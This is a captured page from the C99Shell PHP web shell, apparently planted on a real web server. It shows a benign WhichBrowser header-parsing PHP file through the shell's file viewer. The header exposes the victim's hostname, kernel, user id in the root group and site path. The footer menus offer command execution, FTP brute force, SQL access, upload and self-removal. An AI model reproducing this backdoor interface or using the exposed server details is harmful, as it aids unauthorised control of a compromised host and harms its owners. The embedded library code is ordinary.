!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/whichbrowser/parser/src/Analyser/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Header.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WhichBrowser\Analyser;

use 
WhichBrowser\Constants;
use 
WhichBrowser\Parser;

trait 
Header
{
    private function &
analyseHeaders()
    {
        
/* Analyse the main useragent header */

        
if ($header $this->getHeader('User-Agent')) {
            
$this->analyseUserAgent($header);
        }


        
/* Analyse secondary useragent headers */

        
if ($header $this->getHeader('X-Original-User-Agent')) {
            
$this->additionalUserAgent($header);
        }
        
        if (
$header $this->getHeader('X-Device-User-Agent')) {
            
$this->additionalUserAgent($header);
        }
        
        if (
$header $this->getHeader('Device-Stock-UA')) {
            
$this->additionalUserAgent($header);
        }
        
        if (
$header $this->getHeader('X-OperaMini-Phone-UA')) {
            
$this->additionalUserAgent($header);
        }

        if (
$header $this->getHeader('X-UCBrowser-Device-UA')) {
            
$this->additionalUserAgent($header);
        }
        

        
/* Analyse browser specific headers */

        
if ($header $this->getHeader('X-OperaMini-Phone')) {
            
$this->analyseOperaMiniPhone($header);
        }
        
        if (
$header $this->getHeader('X-UCBrowser-Phone-UA')) {
            
$this->analyseOldUCUserAgent($header);
        }
        
        if (
$header $this->getHeader('X-UCBrowser-UA')) {
            
$this->analyseNewUCUserAgent($header);
        }
        
        if (
$header $this->getHeader('X-Puffin-UA')) {
            
$this->analysePuffinUserAgent($header);
        }
        
        if (
$header $this->getHeader('Baidu-FlyFlow')) {
            
$this->analyseBaiduHeader($header);
        }
        

        
/* Analyse Android WebView browser ids */

        
if ($header $this->getHeader('X-Requested-With')) {
            
$this->analyseBrowserId($header);
        }
        

        
/* Analyse WAP profile header */

        
if ($header $this->getHeader('X-Wap-Profile')) {
            
$this->analyseWapProfile($header);
        }

        return 
$this;
    }



    private function 
analyseUserAgent($header)
    {
        new 
Header\Useragent($header$this->data$this->options);
    }

    private function 
analyseBaiduHeader($header)
    {
        new 
Header\Baidu($header$this->data);
    }

    private function 
analyseOperaMiniPhone($header)
    {
        new 
Header\OperaMini($header$this->data);
    }

    private function 
analyseBrowserId($header)
    {
        new 
Header\BrowserId($header$this->data);
    }

    private function 
analysePuffinUserAgent($header)
    {
        new 
Header\Puffin($header$this->data);
    }

    private function 
analyseNewUCUserAgent($header)
    {
        new 
Header\UCBrowserNew($header$this->data);
    }

    private function 
analyseOldUCUserAgent($header)
    {
        new 
Header\UCBrowserOld($header$this->data);
    }

    private function 
analyseWapProfile($header)
    {
        new 
Header\Wap($header$this->data);
    }


    private function 
additionalUserAgent($ua)
    {
        
$extra = new Parser($ua);

        if (
$extra->device->type != Constants\DeviceType::DESKTOP) {
            if (isset(
$extra->os->name)) {
                
$this->data->os $extra->os;
            }
            
            if (
$extra->device->identified) {
                
$this->data->device $extra->device;
            }
        }
    }


    private function 
getHeader($h)
    {
        
/* Find the header that matches */
        
foreach ($this->headers as $k => $v) {
            if (
strtolower($h) == strtolower($k)) {
                
/* And return the first 1024 bytes */
                
return substr($v01024);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--